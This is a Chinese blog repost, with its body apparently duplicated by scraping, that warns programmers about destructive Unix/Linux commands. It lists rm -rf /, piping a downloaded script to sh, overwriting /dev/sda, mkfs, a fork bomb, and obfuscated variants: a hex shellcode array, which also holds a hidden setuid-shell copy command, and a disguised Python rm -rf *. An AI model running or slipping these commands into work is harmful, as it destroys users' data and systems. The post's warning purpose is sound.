Unix/Linux下几个最致命的命令
2012-12-18 09:23
435 查看
本文主要参考了以下原文:
http://www.linuxpromagazine.com/Online/News/Seven-Deadliest-Linux-Commandshttp://ubuntuforums.org/announcement.php?f=326
大多数时候程序员性情温和,神情淡定。但是会有例外,当他们因为加班加点过度劳累,在意识脆弱、头脑短路、麻痹大意时执行了下文里提到的“死亡命令”,那么心理素质再好的程序员也会抓狂,轻则几天甚至几个星期的精神沮丧,重则在未来的职业生涯里留下心里的阴影。
No 1.
在一些Unix/Linux操作系统里对应的是
No2.
为图省事,程序员会直接执行下载的脚本。这是十分危险的,当这些脚本来自非可信任的源,那么这种做法无异于在刀剑上跳舞。这段脚本可能会带有类似
No3.
这里的
No4.
无需解释,*nix下的格式化磁盘,之所以评级为四星,是因为该命令并不常用,而且打算格式化磁盘卷之前习惯好的程序员都有做过数据的备份。
No5.
著名的fork炸弹,这段看似无厘头的代码其实是申明了一个函数,名字叫
等价程序:
致命指数三星,毕竟资源耗尽重启一下机器就好了,不会对数据造成破坏。而且通过设置ulimit来对进程数做限定,可以减弱炸弹的威力。
No6.
Unix/Linux的
关于以上致命的命令还有一些变体,如:
这段代码其实就是16进制的
再如下面这句python代码:
上面16进制的命令你可能说看不明白的命令,我不会随意的执行。但这句python代码貌似可读,实际也是
总之,Unix/Linux下的致命指令的破坏力丝毫不逊Windows下的病毒和木马,时刻警示我们程序员,养成良好的习惯才对抗这些恶魔的王道:
-避免使用root用户登陆
-为home目录建立独立的分区
-建立合理的用户分组
-定时的备份数据
⋯⋯
“sudo rm -rf /” 暗黑破坏神 鼠标垫
本文仅用于学习和交流目的,不代表图灵社区观点。非商业转载请注明作
http://www.linuxpromagazine.com/Online/News/Seven-Deadliest-Linux-Commandshttp://ubuntuforums.org/announcement.php?f=326
大多数时候程序员性情温和,神情淡定。但是会有例外,当他们因为加班加点过度劳累,在意识脆弱、头脑短路、麻痹大意时执行了下文里提到的“死亡命令”,那么心理素质再好的程序员也会抓狂,轻则几天甚至几个星期的精神沮丧,重则在未来的职业生涯里留下心里的阴影。
No 1.
rm -rf /致命指数:*****
在一些Unix/Linux操作系统里对应的是
sudo rm -rf /,这条命令会干脆而安静的删除根文件系统,不小心执行了这个命令的程序员就坐在地上哭吧,通常有过此类错误经历的程序员们都会患上后遗症——每次执行命令的前,都会下意识的停顿一下反复检查,俗称“回车恐惧症”。
No2.
wget http://某个不信任的源 -O- | sh致命指数:*****
为图省事,程序员会直接执行下载的脚本。这是十分危险的,当这些脚本来自非可信任的源,那么这种做法无异于在刀剑上跳舞。这段脚本可能会带有类似
rm -rf /的破坏指令,也可能会窃取你本机的隐私信息。尤其是如果你还习惯在root账户下操作的话,那就等着出事的那一天吧。
No3.
任意命令 > /dev/sda致命指数:****
这里的
任意命令可以是如
ls,
top等带有输出的指令,这些输出的内容会直接写到
/dev/sda磁盘的初始扇区,而这些扇区通常存的是引导系统和文件系统的元数据,直接将它们覆盖,系统也就基本思密达了。致命指数给四星,是因为该命令虽隐晦但并不常用,而且在键入
/dev/sda这种敏感字段的时候,程序员们肾上腺的分泌会激涨。
No4.
mkfs.ext3 /dev/sda致命指数:****
无需解释,*nix下的格式化磁盘,之所以评级为四星,是因为该命令并不常用,而且打算格式化磁盘卷之前习惯好的程序员都有做过数据的备份。
No5.
:(){:|:&};:致命指数:***
著名的fork炸弹,这段看似无厘头的代码其实是申明了一个函数,名字叫
.,函数的内容就是fork一个新进程,而新进程也正是自己,也即不断的fork新进程,直到耗光系统资源让机器动弹不得。(注:理解fork系统调用,这里有一篇深入浅出的文章)
等价程序:
main() { while (1) fork(); }
致命指数三星,毕竟资源耗尽重启一下机器就好了,不会对数据造成破坏。而且通过设置ulimit来对进程数做限定,可以减弱炸弹的威力。
No6.
mv /home/yourhomedirectory/* /dev/null致命指数:***
Unix/Linux的
/dev/null是一个特殊的设备文件,写入
/dev/null设备文件的数据会被自动丢弃。这里虽然用的是
mv指令,但相当于
rm了。插一句,你可能会好奇
/dev/null的用途,这里推荐一篇文章。
关于以上致命的命令还有一些变体,如:
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
这段代码其实就是16进制的
rm -rf /
再如下面这句python代码:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
上面16进制的命令你可能说看不明白的命令,我不会随意的执行。但这句python代码貌似可读,实际也是
rm -rf *。我们连半毛钱的
rm也看不到啊?再仔细一点吧,
"sn!.sg!+"移位后就是
rm -rf *了!
总之,Unix/Linux下的致命指令的破坏力丝毫不逊Windows下的病毒和木马,时刻警示我们程序员,养成良好的习惯才对抗这些恶魔的王道:
-避免使用root用户登陆
-为home目录建立独立的分区
-建立合理的用户分组
-定时的备份数据
⋯⋯
“sudo rm -rf /” 暗黑破坏神 鼠标垫
本文仅用于学习和交流目的,不代表图灵社区观点。非商业转载请注明作
相关文章推荐
- Linux/Unix下grep命令使用的几个例子[grep Examples]
- 熟悉这几个常用命令,你就是Linux/Unix的vi高手了。
- Linux/Unix下grep命令使用的几个例子
- Linux/Unix下grep命令使用的几个例子[grep Examples]
- Linux-Unix系统操作与维护常用命令
- Linux常用的几个系统监控命令
- 几个Linux命令
- grep 命令系列:如何在 Linux/UNIX 中使用 grep 命令
- Linux/Unix/Mac命令总结
- Linux/Unix 文件查找命令 find, xargs 详述
- linux、unix下使用磁带机的常用命令
- linux的nohup命令的用法。在应用Unix/Linux时,我们一般想让某个程序在后台运行,于是我们将常会用 & 在程序结尾来让程序自动运行。比如我们要运行mysql在后台: /usr/local
- Linux/Unix环境下的make命令详解
- Linux下的几个关机命令
- Linux/UNIX命令dd简介
- 几个Linux常见命令
- 几个Linux命令及脚本使用中的有趣技巧
- Linux find命令的几个备忘
- Linux/Unix 常用命令一
- 【Unix/Linux】【命令】用户信息查询,用户管理